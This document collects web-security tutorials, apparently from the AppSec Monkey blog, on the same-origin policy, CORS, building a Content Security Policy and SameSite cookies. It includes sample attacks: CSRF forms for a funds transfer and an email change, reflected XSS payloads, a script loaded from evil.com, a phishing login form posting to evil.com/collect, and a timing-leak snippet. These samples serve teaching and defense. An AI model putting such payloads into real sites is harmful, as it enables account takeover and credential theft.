In the previous section, we looked at how embedding cross-origin resources allowed for malicious websites to send credentialed GET requests on the browser user's behalf. Now you will see how HTML forms make it possible to send credentialed POST requests.

☠ Security Impact: This behavior is the primary reason CSRF vulnerabilities are so prevalent. Luckily the situation is finally going to improve soon as SameSite Cookies are starting to be enabled by default.

✅ Allowed: Submit credentialed cross-origin urlencoded HTML form

Let's say we have the following form on http://a.local and the user has an active session on http://b.local:

<form method="POST" action="http://b.local/transferFunds">
    <input name="amount" type="text" value="10000"/>
    <input name="iban" type="text" value="HACKERBANK1337"/>
    <input type="submit" value="Send"/>
</form>

When the user clicks the "Send" button, a HTTP request like this is sent to http://b.local:

POST /transferFunds HTTP/1.1
Host: b.local
Cookie: SESSIONID=s3cr3t
Content-Type: application/x-www-form-urlencoded
...
amount=10000&iban=HACKERBANK1337

And the unwitting web application would send the money, thinking the request came from the user.

✅ Allowed: Submit credentialed cross-origin multipart HTML form

A cross-origin multipart form can be submitted without problems. Just add the enctype parameter like so:

<form method="POST" action="http://b.local/transferFunds" enctype="multipart/form-data">
    <input name="amount" type="text" value="10000"/>
    <input name="iban" type="text" value="HACKERBANK1337"/>
    <input type="submit" value="Send"/>
</form>

❌ Not allowed: Submit credentialed cross-origin JSON HTML form

Specifying application/json for the enctype will not work. The browser will fallback to application/x-www-form-urlencoded.

<form method="POST" action="http://b.local/transferFunds" enctype="application/json">
    <input name="amount" type="text" value='{"amount": 1000, "iban": "HACKERBANK1337", "foo": "'/>
    <input name="amount" type="text" value='bar"}'/>
</form>

☠ Security Impact: If the application fails to validate the content type properly, it could interpret this kind of POST request as valid JSON. Also, there are some drafts about implementing enctype="json", although no browser currently does so. For these reasons, it's vital to implement CSRF protection for, e.g., REST APIs as well as traditional web applications if they use cookie-based session management.

XHR and Fetch requests

✅ Allowed: Sending credentialed cross-origin GET, HEAD, and POST requests with XHR

let xhr = new XMLHttpRequest();
xhr.withCredentials = true;
xhr.open('GET', 'http://b.local/');
xhr.send()

✅ Allowed: Sending credentialed cross-origin GET, HEAD, and POST requests with fetch

Using fetch will work just the same.

fetch('http://b.local/', {method: 'POST', credentials: 'include'});

❌ Not allowed: Inspect the XHR response

With either, XHR or fetch, you will not be able to read the response that you get.

❌ Cross-Origin Request Blocked: The Same Origin Policy disallows reading the remote resource at http://b.local/. (Reason: CORS header ‘Access-Control-Allow-Origin’ missing).

I'll get to what the Access-Control-Allow-Origin thing is in a minute.

❌ Not allowed: Sending PUT, PATCH, DELETE, etc. requests

Only specific HTTP verbs are allowed by default (GET, POST, HEAD, and OPTIONS).

fetch('http://b.local/', {method: 'PUT', credentials: 'include'});
❌ Access to fetch at 'http://b.local/' from origin 'http://a.local' has been blocked by CORS policy: Response to preflight request doesn't pass access control check: No 'Access-Control-Allow-Origin' header is present on the requested resource. If an opaque response serves your needs, set the request's mode to 'no-cors' to fetch the resource with CORS disabled.

There are two interesting parts in this error. It's talking about a preflight request, and the request mode. I'll get to the prefight thing soon, but let's quickly look at request modes first.

Request modes

The request mode can be used by web applications to prevent accidentally leaking unnecessary data in a request by, e.g., setting the mode explicitly to same-origin.

It, however, cannot be used to bypass any security controls. For example, if we change the mode to 'no-cors' like described in the error message, the PUT request would still not be sent; it would just result in a different error.

fetch('http://b.local/', {method: 'PUT', credentials: 'include', mode: 'no-cors'});
❌ Uncaught (in promise) TypeError: Failed to execute 'fetch' on 'Window': 'PUT' is unsupported in no-cors mode.

❌ Not allowed: Sending JSON requests

Only the whitelisted content types are allowed. This won't work.

fetch('http://b.local/', {
    method: 'POST', credentials: 'include', headers: {
        'Content-Type': 'application/json'
    },
});
❌ Access to fetch at 'http://b.local/' from origin 'http://a.local' has been blocked by CORS policy: Response to preflight request doesn't pass access control check: No 'Access-Control-Allow-Origin' header is present on the requested resource. If an opaque response serves your needs, set the request's mode to 'no-cors' to fetch the resource with CORS disabled.

Again with the preflight. Alright, now I'll tell you what these Access-Control-Allow- things are.

Cross-Origin Resource Sharing (CORS)

Cross-Origin Resource Sharing, or CORS for short, is a mechanism for a website to partially opt-out of the same-origin policy in a controlled way.

Access-Control-Allow-Origin

For example, if http://b.local wants http://a.local to be able to read its content via fetch/XHR responses, then by specifying the CORS headers in the HTTP response, it can do so.

Access-Control-Allow-Origin: http://a.local/

You can also use a wildcard as the origin, but then Access-Control-Allow-Credentials (below) cannot be true. Also, the wildcard cannot contain any other text, so *.appsecmonkey.com wouldn't work. It's all or nothing, a complete wildcard or an exact origin.

Access-Control-Allow-Credentials

If you still want to enable it, you can use the Access-Control-Allow-Credentials header like so:

Access-Control-Allow-Credentials: true

Access-Control-Allow-Headers

Then, if you want to allow JSON requests or other non-whitelisted headers/values, you can do so via the Access-Control-Allow-Headers header:

Access-Control-Allow-Headers: content-type

Access-Control-Allow-Methods

Finally, if you want to enable other HTTP verbs than GET, POST, HEAD, and OPTIONS, you have to use the Access-Control-Allow-Methods header:

Access-Control-Allow-Methods: GET, POST, HEAD, PUT, PATCH, DELETE

Preflight

GET, POST, and HEAD requests are always sent, but the website is forbidden access to the response data if the response doesn't contain appropriate CORS headers.

But how does the browser know whether it is allowed to send a PUT request or not? If the answer to the question "can I send a PUT request" is in response to the PUT request, doesn't this create a chicken and egg problem? That's a great question, and the answer is simple: we send two requests.

The browser sends an OPTIONS request first, and then looks at the response headers for that request. If PUT is allowed (in Access-Control-Allow-Methods), only then the actual PUT request is sent.

This first OPTIONS request is aptly named the preflight request.

CORS in action

Let's revisit one of the tests we made earlier, but this time, http://b.local/ returns the following HTTP response headers:

Access-Control-Allow-Credentials: true
Access-Control-Allow-Headers: content-type
Access-Control-Allow-Methods: GET, HEAD, POST, PUT
Access-Control-Allow-Origin: http://a.local

✅ Allowed: Sending credentialed cross-origin GET, HEAD, POST, and PUT requests with fetch and reading the response

Now we have complete control of the cross-origin page.

fetch('http://b.local', {method: 'PUT', credentials: 'include', headers: {
        'Content-Type': 'application/json'
    }}).then(function (response) {
    return response.text();
}).then(function (html) {
    // This is the HTML from our response as a text string
    console.log(html);
});

<!doctype html>
<html lang=en>

<head>
    <meta charset=utf-8>
    <title>b.local</title>
    ...

WebSockets

✅ Allowed: Opening a cross-origin WebSocket connection, reading from it, and writing to it

This may be surprising, but the same-origin policy does not restrain WebSockets.

☠ Security Impact: If the application using WebSockets doesn't validate the Origin header in the WebSocket handshake or implement some other CSRF protection mechanism, it will be possible for a malicious website to open a WebSocket connection and use it as the browser user.

Conclusion

The same-origin policy is at the root of the web browser security model. It's old, and it's not perfect. As such, developers must understand the risks and implement the proper defense measures in their applications.

Generally, writing is allowed (e.g., sending cross-origin POST requests), but reading is not (e.g., reading the response to those requests). This means that without CSRF protection, websites are in trouble.

Developers can partially relax the same-origin policy with the CORS (Cross-Origin Resource Sharing) headers, but they should do so with care and avoid CORS altogether if possible.

The same-origin policy can also be made tighter in some of the newer browsers via CORP (Cross-Origin Resource Policy) and COOP (Cross-Origin Opener Policy).

Finally, and somewhat surprisingly, WebSockets are not protected by the Same Origin Policy at all. This can have surprising and unpleasant effects if you're not careful when implementing them.

Get the web security checklist spreadsheet!

☝️ Subscribe to AppSec Monkey's email list, get our best content delivered straight to your inbox, and get our 2021 Web Application Security Checklist Spreadsheet for FREE as a welcome gift!

Get the web security checklist spreadsheet!

☝️ Subscribe to AppSec Monkey's email list, get our best content delivered straight to your inbox, and get our 2021 Web Application Security Checklist Spreadsheet for FREE as a welcome gift!

Don't stop here

If you like this article, check out the other application security guides we have on AppSec Monkey as well.

Thanks for reading.

Content Security Policy Header: A Complete Guide

Teo Selenius — Mon, 01 Mar 2021 07:16:29 +0000

The original and up-to-date post can be found here.

Learn about CSP, how it works, and why it’s awesome. You will build a content security policy header from scratch and learn how to overcome the usual problems on the way. Let's get started!

What is Content Security Policy (CSP)?

Content Security Policy is an outstanding browser security feature that can prevent XSS (Cross-Site Scripting) attacks. It also obsoletes the old X-Frame-Options header for preventing cross-site framing attacks.

What are XSS vulnerabilities?

XSS (Cross-Site Scripting) vulnerabilities arise when untrusted data gets interpreted as code in a web context. They usually result from:

Generating HTML unsafely (parameterizing without encoding correctly).
Allowing users to edit HTML directly (WYSIWYG editors, for example).
Allowing users to upload HTML/SVG files and serving those back unsafely.
Using JavaScript unsafely (passing untrusted data into executable functions/properties).
Using outdated and vulnerable JavaScript frameworks.

XSS attacks exploit these vulnerabilities by, e.g., creating malicious links that inject and execute the attacker's JavaScript code in the target user's web browser when the user opens the link.

A simple example

Here is a PHP script that is vulnerable to XSS:

echo "<p>Search results for: " . $_GET('search') . "</p>"

https://www.example.com/?search=<script>alert("XSS")</script>

Opening the link results in the following HTML getting rendered in the user's browser:

<p>Search results for: <script>alert("XSS")</script></p>

Why are XSS vulnerabilities bad?

There is sometimes a misconception that XSS vulnerabilities are low severity bugs. They are not. The power to execute JavaScript code on a website in other people's browsers is equivalent to logging in to the hosting server and changing the HTML files for the affected users.

As such, XSS attacks effectively make the attacker logged in as the target user, with the nasty addition of tricking the user into giving some information (such as their password) to the attacker, perhaps downloading and executing malware on the user's workstation.

And it's not like XSS vulnerabilities only affect individual users. Stored XSS affects everyone who visits the infected page, and reflected XSS can often [spread like wildfire](https://en.wikipedia.org/wiki/Samy_(computer_worm).

How can CSP protect against XSS attacks?

CSP protects against XSS attacks quite effectively in the following ways.

1. Restricting Inline Scripts

By preventing the page from executing inline scripts, attacks like injecting

<script>alert("XSS)</script>

will not work.

2. Restricting Remote Scripts

By preventing the page from loading scripts from arbitrary servers, attacks like injecting

<script src="https://evil.com/hacked.js"></script>

will not work.

3. Restricting Unsafe Javascript

By preventing the page from executing text-to-JavaScript functions (also known as DOM-XSS sinks), your website will be forced to be safe from vulnerabilities like the following.

// A Simple Calculator
var op1 = getUrlParameter("op1");
var op2 = getUrlParameter("op2");
var sum = eval(`${op1} + ${op2}`);
console.log(`The sum is: ${sum}`);

4. Restricting Form submissions

By restricting where HTML forms on your website can submit their data, injecting phishing forms like the following won't work either.

<form method="POST" action="https://evil.com/collect">
<h3>Session expired! Please login again.</h3>
<label>Username</label>
<input type="text" name="username"/>

<label>Password</label>
<input type="password" name="pass"/>

<input type="Submit" value="Login"/>
</form>

5. Restricting Objects

And by restricting the HTML object tag, it also won't be possible for an attacker to inject malicious flash/Java/other legacy executables on the page.

How do I use it?

You can enforce a Content Security Policy on your website in two ways.

1. Content-Security-Policy Header

Send a Content-Security-Policy HTTP response header from your web server.

Content-Security-Policy: ...

Using a header is the preferred way and supports the full CSP feature set. Send it in all HTTP responses, not just the index page.

2. Content-Security-Policy Meta Tag

Sometimes you cannot use the Content-Security-Policy header if you are, e.g., Deploying your HTML files in a CDN where the headers are out of your control.

In this case, you can still use CSP by specifying a meta tag in the HTML markup.

<meta http-equiv="Content-Security-Policy" content="...">

Almost everything is still supported, including full XSS defenses. However, you will not be able to use framing protections, sandboxing, or a CSP violation logging endpoint.

Building Your Policy

Time to build our content security policy header! I created a little HTML document for us to practice on. If you want to follow along, fork this CodeSandbox, and then open the page URL (such as https://mpk56.sse.codesandbox.io/ in Google Chrome browser.

This is the HTML:

<html>
  <head>
    <title>CSP Practice</title>
    <link rel="stylesheet" href="/stylesheets/style.css" />
    <link rel="preconnect" href="https://fonts.gstatic.com">
    <link href="https://fonts.googleapis.com/css2?family=Roboto:wght@100&display=swap" rel="stylesheet">
  </head>

  <body>
    <h1>CSP Practice</h1>
    <script>
      console.log("Inline script attack succeeded.");
    </script>
    <script src="https://www.appsecmonkey.com/evil.js"></script>
    <script src="https://www.google-analytics.com/analytics.js"></script>
    <script
              src="https://code.jquery.com/jquery-1.12.4.js">
    </script>
    <h3>Cat fact: <span id="cat-fact"></h3>
    <script>
      $( document ).ready(function() {
        $.ajax({
            url: "https://cat-fact.herokuapp.com/facts/random",
            type: "GET",
            crossDomain: true,
            success: function (response) {
                var catFact = response.text;
                $('#cat-fact').text(catFact);
            },
            error: function (xhr, status) {
                alert("error");
            }
        });
        console.log(`Good script with jQuery succeeded`);
      });
    </script>
    <img src=" data:image/png;base64, iVBORw0KGgoAAAANSUhEUgAAAAUA
    AAAFCAYAAACNbyblAAAAHElEQVQI12P4//8/w38GIAXDIBKE0DHxgljNBAAO
        9TXL0Y4OHwAAAABJRU5ErkJggg==" alt="Failed to show image." />
        <br/>
    <form method="POST" action="https://www.appsecmonkey.com/evil">
      <label>Session expired, enter password to continue.</label>
      <br/>
      <input type="password" autocomplete="password" name="password" placeholder="Enter your password here, mwahahaha.."></input>
      <input type="submit" value="Submit"/>
    </form>
  </body>
</html>

And we also have app.js which is a miniature express application for the purpose of setting the Content-Security-Policy header. Right now it's sending an empty CSP which does nothing.

var express = require("express");

var app = express();
const csp = "";

app.use(
  express.static("public", {
    setHeaders: function (res, path) {
      res.set("Content-Security-Policy", csp);
    }
  })
);
var listener = app.listen(8080, function () {
  console.log("Listening on port " + listener.address().port);
});

Here is how the page looks.

If you look at the console, there are a couple of messages.

Inline script attack succeeded.
Sourced script attack succeeded.
Good script with jQuery succeeded

At this point, the CSP header is not doing anything, so everything, good and bad, is allowed. You can also confirm that hitting "submit" in the password phishing form works as expected (the "password" is sent to appsecmonkey.com).

Great. Let's start adding security.

default-src

default-src is the first directive that you want to add. It is the fallback for many other directives if you don't explicitly specify them.

Let's start by setting default-src to 'self'. The single quotes are mandatory. If you just write self without the single quotes, it would refer to a website with the URL self.

let defaultSrc = "default-src 'none'";
const csp = [defaultSrc].join(";");

Now refresh the page and verify that everything has exploded, as expected.

Open Chrome developer tools, and you will find that it's filled with CSP violation errors.

Note
You will see violations for the CodeSandbox client hook "https://sse-0.codesandbox.io/client-hook-5.js". Just ignore these.

The page is now completely broken but also secure. Well, almost secure. The phishing form still works because the default-src directive does not cover the form-target directive. Let's fix that next.

form-action

form-action regulates where the website can submit forms to. To prevent the password phishing form from working, let's change the CSP like so.

let defaultSrc = "default-src 'none'";
let formAction = "form-action 'self'";
const csp = [defaultSrc, formAction].join(";");

Refresh the page, and verify that it works by trying to submit the form.

❌ Refused to send form data to 'https://www.appsecmonkey.com/evil' because it violates the following Content Security Policy directive: "form-action 'self'".

Beautiful. Works as expected.

frame-ancestors

Let's add one more restriction before we start relaxing the policy a little bit to make our page load correctly. Namely, let's prevent other pages from framing us by setting the frame-ancestors to 'none'.

let frameAncestors = "frame-ancestors 'none'";
const csp = [defaultSrc, formAction, frameAncestors].join(";");

If you check the CodeSandbox browser, you will see that it can no longer display your page in the frame.

Alright. Enough denying, let's allow something next.

style-src

Looking at the console, the next violations are:

❌ Refused to load the stylesheet 'https://lqil3.sse.codesandbox.io/stylesheets/style.css' because it violates the following Content Security Policy directive: "default-src 'none'". Note that 'style-src-elem' was not explicitly set, so 'default-src' is used as a fallback.

❌ Refused to load the stylesheet 'https://fonts.googleapis.com/css2?family=Roboto:wght@100&display=swap' because it violates the following Content Security Policy directive: "style-src 'self'". Note that 'style-src-elem' was not explicitly set, so 'style-src' is used as a fallback.

You can fix this with the style-src directive by allowing stylesheets to load from files hosted in the same origin and from google fonts.

...
let styleSrc = "style-src";
styleSrc += " 'self'";
styleSrc += " https://fonts.googleapis.com/";
const csp = [defaultSrc, formAction, frameAncestors, styleSrc].join(";");

Refresh the page, and wow! Such style.

Let's move on to images.

img-src

Instead of the beautiful red dot, we have the following error:

❌ Refused to load the image 'data :image/png;base64, iVBORw0KGgoAAAANSUhEUgAAAAUA%0A AAAFCAYAAACNbyblAAAAHElEQVQI12P4//8/w38GIAXDIBKE0DHxgljNBAAO%0A 9TXL0Y4OHwAAAABJRU5ErkJggg==' because it violates the following Content Security Policy directive: "default-src 'none'". Note that 'img-src' was not explicitly set, so 'default-src' is used as a fallback

We can fix our images with the img-src directive like so.

let imgSrc = "img-src";
imgSrc += " 'self'";
imgSrc += " data:";
const csp = [defaultSrc, formAction, frameAncestors, styleSrc, imgSrc].join(";");

We allow images from our own origin, and also we allow data URLs because they are getting increasingly common with optimized websites.

Refresh the page and... Yes! It's a red dot in all its glory.

font-src

As for our fonts, we have the following error.

❌ Refused to load the font 'https://fonts.gstatic.com/s/roboto/v20/KFOkCnqEu92Fr1MmgVxFIzIXKMnyrYk.woff2' because it violates the following Content Security Policy directive: "default-src 'none'". Note that 'font-src' was not explicitly set, so 'default-src' is used as a fallback

We can make it go away by adding the font-src directive like so:

let fontSrc = "font-src";
fontSrc += " https://fonts.gstatic.com/";
const csp = [defaultSrc, formAction, frameAncestors, styleSrc, imgSrc, fontSrc].join(";");

script-src

Alright, now it gets real. The script-src is arguably the primary reason CSP exists, and here we can either make or break our policy.

Let's look at the exceptions. The first one is the "attacker's" inline script. We don't want to allow it with any directive, so let's just keep blocking it.

❌ Refused to execute inline script because it violates the following Content Security Policy directive: "default-src 'none'". Either the 'unsafe-inline' keyword, a hash ('sha256-OScJmDvbn8ErOA7JGuzx/mKoACH2MwrD/+4rxLDlA+k='), or a nonce ('nonce-...') is required to enable inline execution. Note also that 'script-src' was not explicitly set, so 'default-src' is used as a fallback.

The second one is the attacker's sourced script. Let's keep blocking this one as well.

❌ Refused to load the script 'https://www.appsecmonkey.com/evil.js' because it violates the following Content Security Policy directive: "default-src 'none'". Note that 'script-src-elem' was not explicitly set, so 'default-src' is used as a fallback.

Then there is Google analytics which we want to allow.

❌ Refused to load the script 'https://www.google-analytics.com/analytics.js' because it violates the following Content Security Policy directive: "default-src 'none'". Note that 'script-src-elem' was not explicitly set, so 'default-src' is used as a fallback.

We also want to allow jQuery.

❌ Refused to load the script 'https://code.jquery.com/jquery-1.12.4.js' because it violates the following Content Security Policy directive: "default-src 'none'". Note that 'script-src-elem' was not explicitly set, so 'default-src' is used as a fallback.

And finally, we want to allow the script that fetches cat facts.

❌ Refused to execute inline script because it violates the following Content Security Policy directive: "default-src 'none'". Either the 'unsafe-inline' keyword, a hash ('sha256-dsERlyo3ZLeOnlDtUAmCoZLaffRg2Fi9LTWvmIgrUmE='), or a nonce ('nonce-...') is required to enable inline execution. Note also that 'script-src' was not explicitly set, so 'default-src' is used as a fallback.

Let's start with the easy ones. By adding Google analytics and jQuery URL to our policy, we can get rid of those two violations. Also, add 'self' to prepare for the next step (refactoring the cat facts script into a separate JavaScript file).

let scriptSrc = "script-src";
scriptSrc += " 'self'";
scriptSrc += " https://www.google-analytics.com/analytics.js";
scriptSrc += " https://code.jquery.com/jquery-1.12.4.js";
const csp = [defaultSrc, formAction, frameAncestors, styleSrc, imgSrc, fontSrc, scriptSrc].join(
  ";"
);

The preferred way to deal with inline scripts is to refactor them into their own JavaScript files. So delete the cat facts script tag and replace it with the following:

...
<h3>Cat fact: <span id="cat-fact"></h3>
<script src="/javascripts/cat-facts.js"></script>
...

And move the contents of the script into javascripts/cat-facts.js like so:

$(document).ready(function () {
  $.ajax({
    url: "https://cat-fact.herokuapp.com/facts/random",
    type: "GET",
    crossDomain: true,
    success: function (response) {
      var catFact = response.text;
      $("#cat-fact").text(catFact);
    },
    error: function (xhr, status) {
      alert("error");
    }
  });
  console.log(`Good script with jQuery succeeded`);
});

Now refresh, and... bummer. One more violation to deal with before we win!

connect-src

❌ Refused to connect to 'https://cat-fact.herokuapp.com/facts/random' because it violates the following Content Security Policy directive...

The connect-src directive restricts where the website can connect to, and currently, it is preventing us from fetching cat facts. Let's fix it.

let connectSrc = "connect-src";
connectSrc += " https://cat-fact.herokuapp.com/facts/random";
const csp = [
  defaultSrc,
  formAction,
  frameAncestors,
  styleSrc,
  imgSrc,
  fontSrc,
  scriptSrc,
  connectSrc
].join(";");

Refresh the page. Phew! The page works, and the attacks don't. You can try the finished site here. This is what we came up with:

Content-Security-Policy: default-src 'none'; form-action 'self'; frame-ancestors 'none'; style-src 'self' https://fonts.googleapis.com/; img-src 'self' data:; font-src https://fonts.gstatic.com/; script-src 'self' https://www.google-analytics.com/analytics.js https://code.jquery.com/jquery-1.12.4.js; connect-src https://cat-fact.herokuapp.com/facts/random

Let's plug it into Google's CSP evaluator and see how we did.

Pretty good. The yellow in the script-src is just because we used 'self' which can be problematic if e.g. host user-submitted content.

But this was a sunny day scenario where we were able to refactor the code and get rid of inline scripts and dangerous function calls. Now let's see what you can do when you are forced to use a JavaScript framework that uses eval or when you need to have inline scripts in your HTML.

script-src: hashes

If you can't get rid of inline JavaScript, as of Content Security Policy level 2, you can use script-src 'sha256-<hash>' to allow scripts with a specific hash to execute. Nonces and hashes are quite well supported, see here for details compatibility. At any rate, CSP is backward compatible as long as you use it right.

You can follow along by forking this CodeSandbox. It's the same situation as before, but this time we won't refactor the inline script into its own file. Instead, we'll add its hash to our policy.

You could get the SHA256 hash manually, but it's a bit tricky to get the whitespace and formatting right. Luckily Chrome developer tools provide us with the hash, as you might have already noticed.

❌ Refused to execute inline script because it violates the following Content Security Policy directive: "script-src 'self' https://www.google-analytics.com/analytics.js https://code.jquery.com/jquery-1.12.4.js". Either the 'unsafe-inline' keyword, a hash ('sha256-V2kaaafImTjn8RQTWZmF4IfGfQ7Qsqsw9GWaFjzFNPg='), or a nonce ('nonce-...') is required to enable inline execution.

So let's just add that hash to our policy like so, and the page will work again.

...
scriptSrc += " 'sha256-V2kaaafImTjn8RQTWZmF4IfGfQ7Qsqsw9GWaFjzFNPg='";
scriptSrc += " 'unsafe-inline'";
...

We also have to add the unsafe-inline for backward compatibility. Don't worry; browsers ignore it in the presence of a hash or nonce for browsers that support CSP level 2.

Note
Using hashes is generally not a very good approach. If you change anything inside the script tag (even whitespace), by e.g. formatting your code, the hash will be different, and the script won't render.

script-src: nonce

The second way to allow specific inline scripts is to use a nonce. It's slightly more involved, but you won't have to worry about formatting your code.

Nonces are unique one-time-use random values that you generate for each HTTP response, and add to the Content-Security-Policy header, like so:

const nonce = uuid.v4();
scriptSrc += ` 'nonce-${nonce}'`;

You would then pass this nonce to your view (using nonces requires a non-static HTML) and render script tags that look something like this:

<script nonce="<%= nonce %>">
        $(document).ready(function () {
  $.ajax({
    url: "https://cat-fact.herokuapp.com/facts/random",
    ...

Fork this CodeSandbox to play around with the solution I created with nonces and the EJS view engine.

WARNING
Don't create a middleware that just replaces all script tags with "script nonce=..." because attacker-injected scripts will then get the nonces as well. You need an actual HTML templating engine to use nonces.

script-src: 'unsafe-eval'

If your own code, or a dependency on your page, is using text-to-JavaScript functions like eval, you might run into a warning like this.

❌ Uncaught EvalError: Refused to evaluate a string as JavaScript because 'unsafe-eval' is not an allowed source of script in the following Content Security Policy directive: "script-src 'self' https://www.google-analytics.com/analytics.js https://code.jquery.com/jquery-1.12.4.js".

If it's your own code, refactor it not to use eval. If it's a dependency, consult its documentation to see if a more recent version, or some specific way of using it, is compatible with a safe content security policy header.

If not, then you will have to add the unsafe-eval keyword to your script-src. This will forfeit the DOM-XSS protection that CSP provides.

scriptSrc += " 'unsafe-eval'"; // cut my life into pieces this is my last resort

The situation will somewhat improve in the future with Content Security Policy Level 3, which lets you have more control of DOM-XSS sink functions, among other things. When browsers start supporting it properly, I will update this guide.

Report only mode

Deploying CSP to production for the first time can be scary. You can start with a Content-Security-Policy-Report-Only header, which will print the violations to console but will not enforce them. Then do all the testing you want with different browsers and eventually deploy the enforcing header.

Conclusion

The content security policy header is an outstanding defense against XSS attacks. It takes a little bit of work to get right, but it's worth it.

It's always preferred to refactor your code so that it can run with a safe and clean policy. But when inline-scripts or eval cannot be helped, CSP level 2 provides us with nonces and hashes that we can use.

Before deploying the enforcing policy to production, start with a report-only header to avoid any unnecessary grief.

Get the web security checklist spreadsheet!

☝️ Subscribe to AppSec Monkey's email list, get our best content delivered straight to your inbox, and get our 2021 Web Application Security Checklist Spreadsheet for FREE as a welcome gift!

Don't stop here

If you like this article, check out the other application security guides we have on AppSec Monkey as well.

Thanks for reading.

SameSite Cookies and Why You Need Them

Teo Selenius — Thu, 25 Feb 2021 23:52:44 +0000

The original post can be found here.

What are SameSite cookies?

SameSite is a cookie security attribute introduced in 2016. Its purpose is to prevent cookies from getting included in cross-site requests in order to mitigate different client-side attacks such as CSRF, XS-Leaks and XSS.

What is a cross-site request?

It's a request from another website.

For example, when evil.com loads an image from example.com, it's a cross-site request. It's also a cross-site request when evil.com frames example.com or navigates to it.

So what's a site? To be specific, the site of an URL is calculated from the host part by taking the effective TLD (I'll get to the effective thing in a minute) and the part immediately before it. This combination is called eTLD+1.

So the host part of "https://www.appsecmonkey.com" is www.appsecmonkey.com.

And the effective TLD is com. And the part immediately before the TLD is appsecmonkey. So the site is appsecmonkey.com.

Using the same formula, the site for http://a.b.c.appsecmonkey.com:8080/ is also appsecmonkey.com.

Note that unlike cross-origin requests, the scheme (http) and port (8080) are not relevant in cross-site-requests.

Finally, I promised to clarify the effective TLD thing. The TLD of https://www.appsecmonkey.co.uk is .uk. But the effective TLD, or eTLD, is .co.uk. The list of these "eTLD suffixes" such as .co.uk is facilitated by the public suffix list.

To summarize, the site is eTLD+1, and any interaction where the source and destination have a different site is called cross-site.

Lax vs. Strict vs. None

SameSite cookies have three modes: Lax, Strict and None.

Generally, Lax is suitable for all applications, while Strict tends to be a better fit for security-critical applications. None is just for opting out.

Lax

SameSite=Lax will protect the cookie from cross-site interactions in a third-party context. These include:

evil.com loading a resource (image, style, script, etc.) from example.com.
evil.com loading example.com in an iframe.
evil.com submitting a form to example.com.
evil.com sending a fetch request to example.com.

Lax cookies, however, will be sent when navigating. For example:

evil.com has a link to example.com (which the user clicks).
evil.com redirects the user to example.com.
evil.com calls window.open('example.com').

You can use it like so.

Set-Cookie: foo=bar; SameSite=Lax; ...

Strict

SameSite=Strict has all the protections of the lax mode, with the addition that it also protects the cookies when navigating.

Browsers include SameSite=Strict cookies only in first-party context, which is to say when the user types something into the URL bar and presses enter (or uses a bookmark).

While the strict mode is the most secure, it has drawbacks such as breaking links to the application, so it's not always suitable.

Set-Cookie: foo=bar; SameSite=Strict; ...

None

SameSite=None opts out of the protection when you explicitly want to send the cookie in cross-site interactions. It is necessary because browsers have started to enable SameSite=Lax as the default (which is awesome).

In order to use SameSite=None, you are required to specify the Secure flag as well. The secure flag will prevent the cookie from leaking over an unencrypted connection. I don't fully understand the reasoning behind requiring it, but apparently, it has something to do with pervasive monitoring.

Set-Cookie: foo=bar; SameSite=None; Secure; ...

At any rate, it's always a good practice to use the other cookie security features as well: Secure, HttpOnly and __Host-prefix.

Set-Cookie: __Host-foo=bar; SameSite=Lax; Secure; HttpOnly; Path=/

SameSite vs. CSRF

One of the best features of SameSite cookies is their capability to prevent CSRF (Cross-Site Request Forgery) attacks.

Here is how a CSRF attack might work. Let's pretend that our user logs in to appsecmonkey.com, which sets the user's session cookie like so.

Set-Cookie: SessionID=ABC123; Secure; HttpOnly

And a malicious website, evil.com, hosts the following HTML.

<form method="POST"  action="https://www.appsecmonkey.com/user/update-email/">
  <input type="hidden" name="new_email" value="attacker@evil.com" />
</form>
<script type="text/javascript">
  document.badform.submit();
</script>

When the unwitting user browses to the URL, the following cross-site POST request to appsecmonkey.com gets sent from the user's browser:

POST /user/update-email/ HTTP/1.1
Host: www.appsecmonkey.com
Cookie: SessionId=ABC123
...

new_email=attacker@evil.com

And the user's email address gets changed to attacker@evil.com.

However, if appsecmonkey.com sets the cookie as SameSite, and the same attack happens, the resulting POST request will not contain the cookie.

Set-Cookie: SessionID=ABC123; Secure; HttpOnly; SameSite=Lax

POST /user/update-email/ HTTP/1.1
Host: www.appsecmonkey.com
...

new_email=attacker@evil.com

And the user's email remains intact.

Note

CSRF synchronizer tokens are the primary defense against CSRF attacks. SameSite is merely an extra layer of security, hardening that should be used in addition to the actual security control (CSRF tokens) to achieve defense-in-depth.

SameSite vs. HTTP Verb Misuse CSRF

Imagine the same scenario, but this time appsecmonkey has blundered even worse than forgetting CSRF tokens. This time whe web application uses HTTP GET for changing stuff. Namely, the user's email address.

This means that just getting the target user to browse to the URL www.appsecmonkey.com/user/update-email?new_email=attacker@evil.com would be enough to change the email.

This time SameSite=Lax won't help. But if the web application sets the cookie in strict mode, the attack will fail again.

Set-Cookie: SessionID=ABC123; Secure; HttpOnly; SameSite=Strict

SameSite vs. Reflected XSS

XSS (Cross-Site Scripting) vulnerabilities arise when untrusted data gets interpreted as code in a web context. They usually result from:

Generating HTML unsafely (parameterizing without encoding correctly).
Allowing users to edit HTML directly (WYSIWYG editors, for example).
Allowing users to upload HTML/SVG files and serving those back unsafely.
Using JavaScript unsafely (passing untrusted data into executable functions/properties).
Using outdated and vulnerable JavaScript frameworks.

SameSite doesn't prevent all XSS attacks. But it can serve as a pretty good extra layer of security against reflected XSS, especially in Strict mode.

What are reflected XSS attacks?

XSS vulnerabilities are reflected if malicious links or websites can exploit them. For example, look at search.php here.

echo "<p>Search results for: " . $_GET('search') . "</p>"

The URL parameter search gets reflected as part of the returned document's HTML structure. An attacker could create a link like so, rendering malicious JavaScript on the page when someone opens the link.

https://www.example.com/?search=<script>alert("XSS")</script>

The returned HTML looks like this.

<p>Search results for: <script>alert("XSS")</script></p>

How are XSS vulnerabilities exploited?

An attacker can exploit XSS vulnerabilities by injecting JavaScript code that performs unwanted actions in the logged-in user's session.

How does SameSite help?

In the above example, SameSite in Lax mode wouldn't help because it doesn't protect from navigating to links. If the XSS were in a POST request, then it would help.

However, SameSite in Strict mode would have prevented the attack.

SameSite vs. XS-Leaks

XS-Leaks (or Cross-Site Leaks) are a set of browser side-channel attacks. They enable malicious websites to infer data from the users of other web applications.

For example, browsers make it easy to time cross-domain requests.

var start = performance.now()

fetch('https://example.com', {
  mode: 'no-cors',
  credentials: 'include'
}).then(() => {
  var time = performance.now() - start;
  console.log("The request took %d ms.", time);
});

The request took 129 ms.

Cross-site timing makes it possible for a malicious website to differentiate between responses. Suppose that there is a search API for patients to find their records. If the patient has diabetes and searches for "diabetes", the server returns data.

GET /api/v1/records/search?query=diabetes

{"records": [{"id": 1, ...}]}

